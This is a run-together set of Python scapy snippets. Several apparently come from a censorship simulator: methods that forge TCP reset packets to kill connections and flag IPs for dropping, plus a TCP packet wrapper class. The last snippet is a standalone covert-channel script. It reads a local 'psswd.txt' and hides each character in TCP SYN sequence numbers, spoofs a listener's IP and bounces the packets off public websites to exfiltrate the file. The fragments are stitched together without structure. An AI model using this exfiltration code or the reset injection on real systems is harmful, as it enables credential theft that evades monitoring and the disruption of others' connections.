def censor(self, scapy_packet): """ Send 5 resets to the client and the server. """ client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src) client_tcp_rst = TCP(dport=scapy_packet[TCP].sport, sport=scapy_packet[TCP].dport, ack=scapy_packet[TCP].seq + len(str(scapy_packet[TCP].payload)), seq=scapy_packet[TCP].ack, flags="R") client_rst = client_ip_rst / client_tcp_rst server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst) server_tcp_rst = TCP(dport=scapy_packet[TCP].dport, sport=scapy_packet[TCP].sport, ack=scapy_packet[TCP].ack, seq=scapy_packet[TCP].seq, flags="R") server_tcp_rst.show() server_rst = server_ip_rst / server_tcp_rst for _ in range(0, 5): self.mysend(client_rst) self.mysend(server_rst)
def censor(self, scapy_packet): """ Send 5 resets to the server. """ server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst) server_tcp_rst = TCP(dport=scapy_packet[TCP].dport, sport=scapy_packet[TCP].sport, ack=scapy_packet[TCP].ack, seq=scapy_packet[TCP].seq, flags="R") server_tcp_rst.show() server_rst = server_ip_rst / server_tcp_rst for _ in range(0, 5): self.mysend(server_rst)
class TCPLayer(object): """docstring for TCPLayer""" def __init__(self, arguments={}): # super(IPLayer, self).__init__() self.packet = None if not isinstance(arguments, dict): return "Please provide a dictionay" self.arguments = arguments def make(self): self.packet = TCP() for param in self.arguments: if not hasattr(self.packet, param): continue setattr(self.packet, param , self.arguments[param]) return self def updatePacket(self, arguments={}): if not isinstance(arguments, dict): return "Please provide a dictionay" for param in arguments: if not hasattr(self.packet, param): continue setattr(self.packet, param , arguments[param]) return self def getPacket(self): return self.packet def show(self): return self.packet.show() def _getTCP(self): return TCP()
def censor(self, scapy_packet): """ Adds client and server IPs to flagged IP list. """ if scapy_packet["IP"].src not in self.flagged_ips: self.flagged_ips.append(scapy_packet["IP"].src) self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].src) if scapy_packet["IP"].dst not in self.flagged_ips: self.flagged_ips.append(scapy_packet["IP"].dst) self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].dst) client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src) client_tcp_rst = TCP( dport=scapy_packet[TCP].sport, sport=scapy_packet[TCP].dport, ack=scapy_packet[TCP].seq+len(str(scapy_packet[TCP].payload)), seq=scapy_packet[TCP].ack, flags="R" ) client_rst = client_ip_rst / client_tcp_rst server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst) server_tcp_rst = TCP( dport=scapy_packet[TCP].dport, sport=scapy_packet[TCP].sport, ack=scapy_packet[TCP].ack, seq=scapy_packet[TCP].seq, flags="R" ) server_tcp_rst.show() server_rst = server_ip_rst / server_tcp_rst for _ in range(0, 5): self.mysend(client_rst) self.mysend(server_rst) return "accept"
#! /usr/bin/env python from scapy.all import TCP, IP, send import time src_naame = '10.0.2.15' # Enter ip of listener src_port = 666 # Enter port on which listener iss listening i = 0 sn = 70 f = open("/home/MadMaxx/Desktop/psswd.txt", 'r') webs = ['twitter.com', 'google.com', 'reddit.com'] for line in f.readlines(): for c in line: serv = webs[i] ip = IP(dst=serv, src=src_naame) p = sn * 1000 + ord(c) tcp = TCP(sport=src_port, dport=443, flags='S', seq=p) send(ip / tcp) ip.show() tcp.show() time.sleep(0.5) send(ip / TCP(dport=443, flags='F')) sn += 1 if i + 1 == len(webs): i = 0 else: i += 1